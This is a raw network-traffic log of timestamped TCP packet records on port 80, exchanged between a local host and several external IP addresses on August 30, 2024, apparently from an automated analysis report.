Aug 30, 2024 03:17:07.139780045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139795065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139797926 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139806986 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139827013 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139842987 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139853954 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139878035 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139883041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.139893055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.139899969 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139902115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.139914036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.139925957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.139930010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.139940977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.139969110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140010118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140021086 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140031099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140042067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140052080 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140055895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140060902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140063047 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140084982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140100956 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140109062 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140117884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140126944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140136957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140157938 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140178919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140178919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140227079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140237093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140248060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140269995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140297890 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140307903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140317917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140350103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140392065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140400887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140429020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140518904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140530109 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140558958 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140602112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140611887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140621901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140634060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140636921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140644073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140660048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140685081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140772104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140786886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140798092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140809059 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140820980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140830040 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140836000 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140840054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140860081 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.140865088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140876055 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140876055 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140876055 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140887022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140897989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140901089 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140908003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140911102 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140918970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140928984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.140929937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140950918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140954018 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140961885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140965939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.140973091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.140990019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141002893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141025066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141098022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141114950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141125917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141136885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141141891 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141155005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141164064 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141165018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141176939 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141187906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141187906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141202927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141211987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141235113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141241074 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141253948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141264915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141278028 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141288042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141288996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141299009 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141325951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141483068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141494036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141505957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141525030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141531944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141535997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141537905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141547918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141558886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141567945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141571999 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141577959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141580105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141591072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141606092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141608953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141617060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.141629934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141633987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141653061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.141671896 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141940117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141952038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141961098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141973019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141982079 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.141983986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.141997099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.142007113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.142011881 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.142023087 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.142043114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142045021 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.142054081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142064095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142076015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142082930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142086983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142105103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142106056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142116070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142127037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142128944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142139912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142148018 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142158985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142182112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142185926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142194986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142219067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142219067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142230988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142231941 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142241955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142251968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142255068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142262936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142272949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142278910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142285109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142297029 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142302990 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142306089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142318964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142328978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142333031 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142340899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142352104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142352104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142370939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142371893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142394066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142419100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142865896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142878056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142889023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142910957 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142929077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.142957926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.142970085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143003941 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143038034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143050909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143059969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143090010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143101931 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143208981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143229961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143251896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143264055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143372059 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143383026 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143398046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143414974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143420935 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143425941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143435955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.143443108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143469095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.143954992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144001007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.144026995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144037962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144067049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144068956 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.144260883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144270897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144283056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144292116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.144304991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.144318104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.154577017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.154620886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.154670000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.157768011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157778978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157788038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157819986 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.157844067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.157846928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157886982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157898903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157910109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.157928944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.157953978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.158016920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158027887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158036947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158054113 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.158061028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158071995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158077002 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.158082962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158093929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.158101082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.158123970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.158870935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158881903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158905029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158914089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158921003 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.158924103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158929110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.158941031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158951998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158961058 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.158961058 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.158976078 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.159003973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.160392046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160414934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160423994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160455942 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160465956 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160490990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160501957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160511971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160522938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160525084 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160531998 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160550117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160557985 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160691977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160713911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160727024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160737038 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160742044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160751104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160752058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160763979 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160784006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160887003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160897017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160908937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160938025 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160943031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160950899 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160953045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160964966 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160973072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.160975933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.160986900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161001921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161015987 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161170959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161181927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161192894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161201000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161218882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161240101 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161298990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161309004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161319017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161340952 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161365032 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161385059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161396980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161406994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161418915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161429882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161453009 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161585093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161607027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161617041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161642075 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161650896 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161675930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161686897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161696911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161720037 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161741018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161770105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161781073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161789894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161801100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161811113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.161812067 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161828995 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.161840916 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162116051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162157059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162158012 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162168026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162203074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162211895 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162230968 CEST	80	49734	147.45.44.104	192.168.2.4
